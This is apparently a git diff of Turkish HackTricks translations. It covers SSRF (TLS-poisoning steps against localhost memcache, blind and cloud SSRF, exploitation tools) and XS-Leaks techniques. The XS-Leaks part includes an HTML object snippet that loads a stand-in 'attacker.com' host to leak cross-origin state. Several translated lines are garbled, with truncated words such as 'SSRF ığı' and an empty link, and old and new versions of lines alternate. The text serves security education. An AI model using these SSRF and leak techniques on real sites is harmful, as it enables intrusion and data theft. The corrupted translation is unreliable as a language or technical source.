3. Kurban ile saldırganın alanı arasında bir **TLS bağlantısı** oluşturulur. Saldırgan, **Ses Kimliği veya Oturum Bileti** içine **yükleme ekler**.
4. **Alan**, **kullanıcının/botun** alanı **tekrar** bir **DNS isteği** yapana kadar **kendine karşı sonsuz bir yönlendirme döngüsü** başlatacaktır.
4. **Alan**, kendisine karşı **sonsuz yönlendirme döngüsü** başlatacaktır. Bu, kullanıcının/botun alanı erişmesini sağlayana kadar alanı tekrar **DNS isteği** yapmasını sağlamaktır.
5. DNS isteğinde **şimdi** bir **özel IP** adresi verilir (örneğin 127.0.0.1)
6. Kullanıcı/bot, **TLS bağlantısını yeniden kurmaya çalışacak** ve bunu yapmak için **Ses** Kimliği/Bilet Kimliği'ni gönderecektir (saldırganın yükünün bulunduğu yer). Tebrikler, **kullanıcının/botun kendisine saldırmasını başardınız**.
6. Kullanıcı/bot, **TLS bağlantısını yeniden kurmaya çalışacak** ve bunu yapmak için **Ses** Kimliği/Bilet Kimliği'ni gönderecektir (saldırganın yükünün bulunduğu yer). Bu sayede kullanıcının/botun kendisine saldırmasını başardınız.
Bu saldırı sırasında, localhost:11211 (_memcache_)'yi hedef almak istiyorsanız, kurbanın www.attacker.com:11211 ile ilk bağlantıyı kurmasını sağlamanız gerekir (port **her zaman aynı olmalıdır**).\
Bu saldırıyı gerçekleştirmek için şu aracı kullanabilirsiniz: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
Bu saldırının açıklandığı sunumu incelemek için: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference)
Bu saldırının açıklandığı sunumu incelemek için daha fazla bilgi için şuraya bakın: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference)
## Kör SSRF
Kör bir SSRF ile normal bir SSRF arasındaki fark, körde SSRF isteğinin yanıtını görememenizdir. Bu nedenle, yalnızca iyi bilinen zayıf noktaları sömürebileceğiniz için sömürmek daha zor olacaktır.
Kör bir SSRF ile normal bir SSRF arasındaki fark, körde SSRF isteğinin yanıtını görememenizdir. Bu nedenle, yalnızca bilinen güvenlik açıklarını sömürebileceğiniz için daha zor sömürülebilir.
### Zaman tabanlı SSRF
@ -328,7 +328,7 @@ Sunucudan gelen yanıtların **zamanını kontrol ederek**, bir kaynağın var o
## Bulut SSRF Sömürüsü
Bir bulut ortamında çalışan bir makinede bir SSRF zafiyeti bulursanız, bulut ortamı hakkında ilginç bilgiler ve hatta kimlik bilgileri elde edebilirsiniz:
Bir bulut ortamında çalışan bir makinede bir SSRF ığı bulursanız, bulut ortamı hakkında ilginç bilgiler ve hatta kimlik bilgileri elde edebilirsiniz:
{% content-ref url="cloud-ssrf.md" %}
[cloud-ssrf.md](cloud-ssrf.md)
@ -336,7 +336,7 @@ Bir bulut ortamında çalışan bir makinede bir SSRF zafiyeti bulursanız, bulu
## SSRF'ye Hassas Platformlar
Bazı bilinen platformlar SSRF zafiyetleri içerir veya içermiştir, bunları kontrol edin:
Bazı bilinen platformlar SSRF ıkları içerir veya içermiştir, bunları kontrol edin:
{% content-ref url="ssrf-vulnerable-platforms.md" %}
[ssrf-vulnerable-platforms.md](ssrf-vulnerable-platforms.md)
@ -346,7 +346,7 @@ Bazı bilinen platformlar SSRF zafiyetleri içerir veya içermiştir, bunları k
### [**SSRFMap**](https://github.com/swisskyrepo/SSRFmap)
SSRF zafiyetlerini tespit etmek ve sömürmek için araç
SSRF ıklarını tespit etmek ve sömürmek için araç
### [Gopherus](https://github.com/tarunkant/Gopherus)
@ -365,11 +365,11 @@ Bu araç, şunlar için Gopher yükleri oluşturur:
* [SSRF kullanımı hakkında blog yazısı](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)
_remote-method-guesser_, en yaygın _Java RMI_ zafiyetleri için saldırı işlemlerini destekleyen bir _Java RMI_ zafiyet tarayıcısıdır. Mevcut işlemlerin çoğu, istenen işlem için bir _SSRF_ yükü oluşturmak için `--ssrf` seçeneğini destekler. `--gopher` seçeneği ile birlikte, hazır kullanıma hazır _gopher_ yükleri doğrudan oluşturulabilir.
_remote-method-guesser_, en yaygın _Java RMI_ güvenlik açıklarına karşı saldırı operasyonlarını destekleyen bir _Java RMI_ güvenlik açığı tarayıcısıdır. Mevcut operasyonların çoğu, istenen operasyon için bir _SSRF_ yükü oluşturmak için `--ssrf` seçeneğini destekler. `--gopher` seçeneği ile birlikte, hazır _gopher_ yükleri doğrudan oluşturulabilir.
### [SSRF Proxy](https://github.com/bcoles/ssrf\_proxy)
SSRF Proxy, Server-Side Request Forgery (SSRF) zafiyetlerine sahip HTTP sunucuları üzerinden istemci HTTP trafiğini tünellemek için tasarlanmış çoklu iş parçacıklı bir HTTP proxy sunucusudur.
SSRF Proxy, Server-Side Request Forgery (SSRF) ığına sahip HTTP sunucuları üzerinden istemci HTTP trafiğini yönlendirmek için tasarlanmış çoklu iş parçacıklı bir HTTP proxy sunucusudur.
### Uygulamak için
@ -381,3 +381,25 @@ SSRF Proxy, Server-Side Request Forgery (SSRF) zafiyetlerine sahip HTTP sunucula
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery)
* [https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/](https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/)
* [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert) ile sıfırdan ileri seviyeye AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerine göz atın**](https://peass.creator-spring.com)
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzdaki özel [**NFT'leri**](https://opensea.io/collection/the-peass-family) keşfedin
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks) github depolarına PR göndererek paylaşın.
</details>
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturmak ve otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ssrf-server-side-request-forgery)'i kullanın.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}

View file

@ -1,23 +1,23 @@
# XS-Arama/XS-Sızıntılar
# XS-Arama/XS-Sızıntıları
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
[****](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=xs-search) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Edinin:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=xs-search" %}
<details>
<summary><strong>Sıfırdan Kahraman'a AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
<summary><strong>Sıfırdan Kahramana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* **Şirketinizi HackTricks'te reklam görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR'lar gönderin.
* **Katılın** 💬 [**Discord grubumuza**](https://discord.gg/hRep4RUj7f) veya [**telegram grubumuza**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
@ -38,51 +38,51 @@ Bu saldırıda yer alan ana bileşenler şunlardır:
Zararlı Web'in durumlarını ayırt etmek için birkaç yön incelenebilir:
* **Durum Kodu**: **Çeşitli HTTP yanıt durum kodları** arasındaki farkları ayırt etmek, sunucu hataları, istemci hataları veya kimlik doğrulama hataları gibi çapraz kökenli olarak.
* **API Kullanımı**: Sayfalar arasında **Web API'larının kullanımını** tanımlamak, çapraz kökenli bir sayfanın belirli bir JavaScript Web API'sını kullanıp kullanmadığını ortaya çıkarır.
* **Yönlendirmeler**: Yalnızca HTTP yönlendirmeler değil, aynı zamanda JavaScript veya HTML tarafından tetiklenen farklı sayfalara yapılan gezinmelerin algılanması.
* **Sayfa İçeriği**: HTTP yanıt gövdesindeki **değişikliklerin** veya sayfa alt kaynaklarında, örneğin **yerleştirilmiş çerçevelerin sayısı** veya görüntülerdeki boyut farklılıklarının gözlemlenmesi.
* **HTTP Başlığı**: Belirli bir **HTTP yanıt başlığının** varlığını veya değerini belirlemek, X-Frame-Options, Content-Disposition ve Cross-Origin-Resource-Policy gibi başlıkların varlığını veya değerini belirlemek.
* **Zamanlama**: İki durum arasındaki tutarlı zaman farklarının fark edilmesi.
* **Durum Kodu**: **Çeşitli HTTP yanıt durum kodları** arasındaki farkları ayırt etmek, sunucu hataları, istemci hataları veya kimlik doğrulama hataları gibi.
* **API Kullanımı**: Sayfalar arasında **Web API'lerinin kullanımını** tanımlamak, çapraz kökenli bir sayfanın belirli bir JavaScript Web API'sini kullanıp kullanmadığını ortaya çıkarabilir.
* **Yönlendirmeler**: Yalnızca HTTP yönlendirmeler değil, aynı zamanda JavaScript veya HTML tarafından tetiklenen farklı sayfalara yönlendirmeleri tespit etmek.
* **Sayfa İçeriği**: HTTP yanıt gövdesindeki **değişiklikleri** veya sayfa alt kaynaklarında, örneğin **yerleştirilmiş çerçevelerin sayısı** veya görüntülerdeki boyut farklılıklarını gözlemlemek.
* **HTTP Başlığı**: Belirli bir **HTTP yanıt başlığının** varlığını veya değerini belirlemek, X-Frame-Options, Content-Disposition ve Cross-Origin-Resource-Policy gibi başlıklar gibi.
* **Zamanlama**: İki durum arasındaki tutarlı zaman farklarını fark etmek.
### Dahil Etme Yöntemleri
* **HTML Elemanları**: HTML, stil sayfaları, görüntüler veya betikler gibi **çapraz kökenli kaynakları dahil etmek** için çeşitli elemanlar sunar, tarayıcının bir HTML olmayan kaynağı istemesini zorlar. Bu amaçla potansiyel HTML elemanlarının derlemesi [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks) adresinde bulunabilir.
* **HTML Elemanları**: HTML, stil sayfaları, görüntüler veya betikler gibi **çapraz kökenli kaynakları dahil etmek** için çeşitli elemanlar sunar, tarayıcının bir HTML olmayan kaynağı istemesini zorunlu kılar. Bu amaçla potansiyel HTML elemanlarının bir derlemesi [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks) adresinde bulunabilir.
* **Çerçeveler**: **iframe**, **object** ve **embed** gibi elemanlar, HTML kaynaklarını doğrudan saldırganın sayfasına gömebilir. Sayfanın **çerçeve koruması olmadığında**, JavaScript, çerçevelenmiş kaynağın window nesnesine contentWindow özelliği aracılığıyla erişebilir.
* **Açılır Pencereler**: **`window.open`** yöntemi, bir kaynağı yeni bir sekmede veya pencerede açar, JavaScript'e SOP'yi takip ederek yöntemlere ve özelliklere etkileşim sağlar. Sıkça tek oturum açma işlemlerinde kullanılan açılır pencereler, hedef kaynağın çerçeveleme ve çerez kısıtlamalarını atlar. Ancak modern tarayıcılar açılır pencerelerin oluşturulmasını belirli kullanıcı eylemlerine sınırlar.
* **JavaScript İstekleri**: JavaScript, **XMLHttpRequests** veya **Fetch API** kullanarak hedef kaynaklara doğrudan istekler yapılmasına izin verir. Bu yöntemler, HTTP yönlendirmelerini takip etmeyi seçmek gibi isteğe kesin kontrol sağlar.
* **Açılır Pencereler**: **`window.open`** yöntemi, JavaScript'in SOP'u takip ederek yöntemlere ve özelliklere etkileşimde bulunabileceği yeni bir sekmede veya pencerede bir kaynak açar. Sıkça tek oturum açma işlemlerinde kullanılan açılır pencereler, hedef kaynağın çerçeveleme ve çerez kısıtlamalarını atlar. Ancak modern tarayıcılar açılır pencere oluşturmayı belirli kullanıcı eylemlerine sınırlar.
* **JavaScript İstekleri**: JavaScript, **XMLHttpRequests** veya **Fetch API** kullanarak hedef kaynaklara doğrudan istekler yapılmasına izin verir. Bu yöntemler, HTTP yönlendirmelerini takip etmeyi seçmek gibi isteği üzerinde hassas kontrol sağlar.
### Sızıntı Teknikleri
* **Olay İşleyici**: XS-Sızıntılarda klasik bir sızıntı tekniği olan olay işleyicileri, **onload** ve **onerror** gibi olay işleyicileri, kaynak yükleme başarısı veya başarısızlığı hakkında bilgiler sağlar.
* **Hata Mesajları**: JavaScript istisnaları veya özel hata sayfaları, hata mesajından doğrudan sızıntı bilgileri sağlayabilir veya varlığının ve yokluğunun farklılaştırılması yoluyla sızıntı bilgileri sağlayabilir.
* **Global Sınırlar**: Tarayıcının fiziksel sınırları, bellek kapasitesi veya diğer zorunlu tarayıcı sınırları gibi, bir eşiğe ulaşıldığında sızıntı tekniği olarak işlev görebilir.
* **Olay İşleyici**: XS-Sızıntılarda klasik bir sızıntı tekniği olan olay işleyicileri, **onload** ve **onerror** gibi olay işleyicileri, kaynak yükleme başarısı veya başarısızlığı hakkında bilgi sağlar.
* **Hata Mesajları**: JavaScript istisnaları veya özel hata sayfaları, hata mesajından doğrudan veya varlığının ve yokluğunun farklılaştırılmasından dolayı sızıntı bilgileri sağlayabilir.
* **Global Sınırlar**: Tarayıcının fiziksel sınırları, bellek kapasitesi veya diğer zorunlu tarayıcı sınırlamaları, bir eşiğe ulaşıldığında sızıntı tekniği olarak hizmet edebilir.
* **Global Durum**: Tarayıcıların **global durumlarıyla** (örneğin, Geçmiş arabirimi) algılanabilir etkileşimler, sözgelimi tarayıcının geçmişindeki **giriş sayısı**, çapraz kökenli sayfalar hakkında ipuçları sağlayabilir.
* **Performans API'si**: Bu API, mevcut sayfanın **performans detaylarını** sağlar, belge ve yüklenen kaynaklar için ağ zamanlamasını içerir, istenen kaynaklar hakkında çıkarımlar yapmayı sağlar.
* **Okunabilir Öznitelikler**: Bazı HTML öznitelikleri **çapraz kökten okunabilir** ve sızıntı tekniği olarak kullanılabilir. Örneğin, `window.frame.length` özelliği, JavaScript'in çapraz kökenli bir web sayfasında yer alan çerçeveleri saymasına olanak tanır.
* **Okunabilir Öznitelikler**: Bazı HTML öznitelikleri **çapraz kökten okunabilir** ve sızıntı tekniği olarak kullanılabilir. Örneğin, `window.frame.length` özelliği, JavaScript'in bir web sayfasındaki dahil edilen çerçeveleri saymasına olanak tanır.
## XSinator Aracı ve Makale
XSinator, **makalesindeıklanan çeşitli bilinen XS-Sızıntılarına karşı tarayıcıları kontrol etmek için otomatik bir araçtır**: [**https://xsinator.com/paper.pdf**](https://xsinator.com/paper.pdf)
XSinator, **kağıdındaıklanan çeşitli bilinen XS-Sızıntılarına karşı tarayıcıları kontrol etmek için otomatik bir araçtır**: [**https://xsinator.com/paper.pdf**](https://xsinator.com/paper.pdf)
Araça [**https://xsinator.com/**](https://xsinator.com/) adresinden **erişebilirsiniz**.
Araça [**https://xsinator.com/**](https://xsinator.com/) adresinden erişebilirsiniz.
{% hint style="warning" %}
**Dışlanmış XS-Sızıntılar**: Diğer XS-Sızıntılarıyla çakışacağından **hizmet işçilerine dayanan XS-Sızıntıları** hariç bırakmak zorunda kaldık. Ayrıca, belirli bir web uygulamasındaki yanlış yapılandırmalar ve hatalara dayanan XS-Sızıntılarını hariç bırakmayı tercih ettik. Örneğin, Cross-Origin Resource Sharing (CORS) yanlış yapılandırmaları, postMessage sızıntıları veya Cross-Site Scripting. Ayrıca, genellikle yavaş, gürültülü ve doğru olmama sorunları yaşayan zaman tabanlı XS-Sızıntıları da hariç bıraktık.
**Dışlanmış XS-Sızıntıları**: Diğer XS-Sızıntılarıyla çakışacağından **hizmet işçilerine dayanan XS-Sızıntılarını** dışlamak zorunda kaldık. Ayrıca, belirli bir web uygulamasındaki yanlış yapılandırmalar ve hatalara dayanan XS-Sızıntılarını dışlamayı tercih ettik. Örneğin, Cross-Origin Resource Sharing (CORS) yanlış yapılandırmaları, postMessage sızıntıları veya Cross-Site Scripting. Ayrıca, genellikle yavaş, gürültülü ve doğru olmayan zaman temelli XS-Sızıntılarını dışladık.
{% endhint %}
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=xs-search) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Edinin:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=xs-search" %}
## **Zaman Tabanlı Teknikler**
Aşağıdaki tekniklerin bazıları, web sayfalarının olası durumlarındaki farklılıkları tespit etmek için süreyi kullanacak. Bir web tarayıcısında zamanı ölçmenin farklı yolları vardır.
Aşağıdaki tekniklerden bazıları, web sayfalarının olası durumlarındaki farklılıkları tespit etmek için süre ölçümünü kullanacak. Bir web tarayıcısında zamanı ölçmenin farklı yolları vardır.
**Saatler**: [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) API, geliştiricilere yüksek çözünürlüklü zaman ölçümleri almasını sağlar.\
**Saatler**: [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) API, geliştiricilere yüksek çözünürlüklü zamanlama ölçümleri almak için olanak tanır.\
Saldırganların kullanabileceği birçok API vardır: [Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast_Channel_API), [Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), CSS animasyonları ve diğerleri.\
Daha fazla bilgi için: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/).
@ -90,32 +90,32 @@ Daha fazla bilgi için: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks]
### Onload/Onerror
* **Dahil Etme Yöntemleri**: Çerçeveler, HTML Elemanları
* **Dahil Etme Yöntemleri**: Çerçeveler, HTML Öğeleri
* **Algılanabilir Fark**: Durum Kodu
* **Daha fazla bilgi**: [https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu), [https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/)
* **Özet**: Bir kaynağı yüklemeye çalışırken onerror/onload olayları tetiklenirse ve kaynak başarılı/başarısız bir şekilde yüklendiyse durum kodunu belirlemek mümkündür.
* **Özet**: Bir kaynağı yüklemeye çalışırken onerror/onload olayları tetiklendiğinde kaynağın başarılı/başarısız bir şekilde yüklendiği durum kodunu belirlemek mümkündür.
* **Kod örneği**: [https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)](https://xsinator.com/testing.html#Event%20Handler%20Leak%20\(Script\))
{% content-ref url="cookie-bomb-+-onerror-xs-leak.md" %}
[cookie-bomb-+-onerror-xs-leak.md](cookie-bomb-+-onerror-xs-leak.md)
{% endcontent-ref %}
Kod örneği, **JS'den script nesneleri yüklemeyi dener**, ancak **nesneler, stil sayfaları, resimler, sesler** gibi diğer etiketler de kullanılabilir. Ayrıca, etiketi **doğrudan enjekte etmek** ve etiket içinde `onload` ve `onerror` olaylarını bildirmek de mümkündür (JS'den enjekte etmek yerine).
Kod örneği, **JS'den script nesneleri yüklemeyi dener**, ancak **diğer etiketler** de kullanılabilir, örneğin nesneler, stil sayfaları, resimler, sesler. Ayrıca, **etiketi doğrudan enjekte etmek** ve etiket içinde `onload` ve `onerror` olaylarını bildirmek de mümkündür (JS'den enjekte etmek yerine).
Bu saldırının ayrıca bir script olmayan versiyonu da bulunmaktadır:
Bu saldırının ayrıca bir script olmadan da yapılabilecek bir versiyonu bulunmaktadır:
```html
<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>
```
Bu durumda, `example.com/404` bulunamadığında `attacker.com/?error` yüklenecektir.
Bu durumda, `example.com/404` bulunamazsa `attacker.com/?error` yüklenecektir.
### Onload Zamanlama
* **Dahil Etme Yöntemleri**: HTML Elemanları
* **Algılanabilir Fark**: Zamanlama (Genellikle Sayfa İçeriği, Durum Kodundan Kaynaklanır)
* **Daha fazla bilgi**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events)
* **Özet:** [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **API** bir isteği gerçekleştirmenin ne kadar zaman aldığını ölçmek için kullanılabilir. Bununla birlikte, [**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming) gibi diğer saatler de kullanılabilir, bu saatler 50 ms'den fazla süren görevleri tanımlayabilir.
* **Özet:** [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **API** bir isteğin gerçekleştirilmesi için ne kadar zaman aldığını ölçmek için kullanılabilir. Bununla birlikte, [**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming) gibi diğer saatler de kullanılabilir, bu saatler 50 ms'den fazla süren görevleri tanımlayabilir.
* **Kod Örneği**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) başka bir örnek:
{% content-ref url="performance.now-example.md" %}
@ -124,7 +124,7 @@ Bu durumda, `example.com/404` bulunamadığında `attacker.com/?error` yüklenec
#### Onload Zamanlama + Zorunlu Ağır Görev
Bu teknik, öncekine benzerdir, ancak **saldırgan** ayrıca **cevap olumlu veya olumsuz olduğunda** bazı eylemleri **ilgili bir süre alacak şekilde zorlar** ve bu süreyi ölçer.
Bu teknik, öncekine benzerdir, ancak **saldırgan** ayrıca **cevap olumlu veya olumsuz olduğunda** bazı eylemleri **zorlar** ve o zamanı ölçer.
{% content-ref url="performance.now-+-force-heavy-task.md" %}
[performance.now-+-force-heavy-task.md](performance.now-+-force-heavy-task.md)
@ -135,20 +135,20 @@ Bu teknik, öncekine benzerdir, ancak **saldırgan** ayrıca **cevap olumlu veya
* **Dahil Etme Yöntemleri**: Çerçeveler
* **Algılanabilir Fark**: Zamanlama (Genellikle Sayfa İçeriği, Durum Kodundan Kaynaklanır)
* **Daha fazla bilgi**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
* **Özet:** [SharedArrayBuffer saat](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers) bir isteği gerçekleştirmenin ne kadar zaman aldığını ölçmek için kullanılabilir. Diğer saatler de kullanılabilir.
* **Özet:** [SharedArrayBuffer saat](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers) bir isteğin gerçekleştirilmesi için ne kadar zaman aldığını ölçmek için kullanılabilir. Diğer saatler de kullanılabilir.
* **Kod Örneği**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
Bir kaynağı almanın ne kadar zaman aldığı, [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload\_event) ve [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload\_event) etkinliklerini kullanarak ölçülebilir. **`beforeunload`** etkinliği tarayıcının yeni bir sayfaya geçmeye hazırlandığında tetiklenirken, **`unload`** etkinliği navigasyon gerçekleştiğinde meydana gelir. Bu iki etkinlik arasındaki zaman farkı, tarayıcının kaynağı alırken harcadığı süreyi belirlemek için hesaplanabilir.
Bir kaynağın alınması için geçen süre, [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload\_event) ve [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload\_event) etkinliklerini kullanarak ölçülebilir. **`beforeunload`** etkinliği tarayıcının yeni bir sayfaya geçmeye hazırlandığında tetiklenirken, **`unload`** etkinliği navigasyon gerçekleştiğinde meydana gelir. Bu iki etkinlik arasındaki zaman farkı, tarayıcının kaynağı almak için harcadığı süreyi belirlemek için hesaplanabilir.
### Kumlanmış Çerçeve Zamanlama + onload <a href="#sandboxed-frame-timing-attacks" id="sandboxed-frame-timing-attacks"></a>
* **Dahil Etme Yöntemleri**: Çerçeveler
* **Algılanabilir Fark**: Zamanlama (Genellikle Sayfa İçeriği, Durum Kodundan Kaynaklanır)
* **Daha fazla bilgi**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
* **Özet:** [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) API bir isteği gerçekleştirmenin ne kadar zaman aldığını ölçmek için kullanılabilir. Diğer saatler de kullanılabilir.
* **Özet:** [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) API bir isteğin gerçekleştirilmesi için ne kadar zaman aldığını ölçmek için kullanılabilir. Diğer saatler de kullanılabilir.
* **Kod Örneği**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
[Framing Protections](https://xsleaks.dev/docs/defenses/opt-in/xfo/) olmadığında, bir sayfa ve alt kaynaklarının ağ üzerinden yüklenmesi için gereken süre bir saldırgan tarafından ölçülebilir. Bu ölçüm genellikle, bir iframe'in `onload` işleyicisinin, kaynak yükleme ve JavaScript yürütmesinin tamamlanmasından sonra tetiklendiği için mümkündür. Betik yürütme tarafından tanıtılan değişkenliği atlatmak için bir saldırgan, `<iframe>` içinde [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) özniteliğini kullanabilir. Bu özniteliğin eklenmesi, JavaScript'in yürütülmesini kısıtlayarak, özellikle ağ performansı tarafından büyük ölçüde etkilenen bir ölçümü kolaylaştırır.
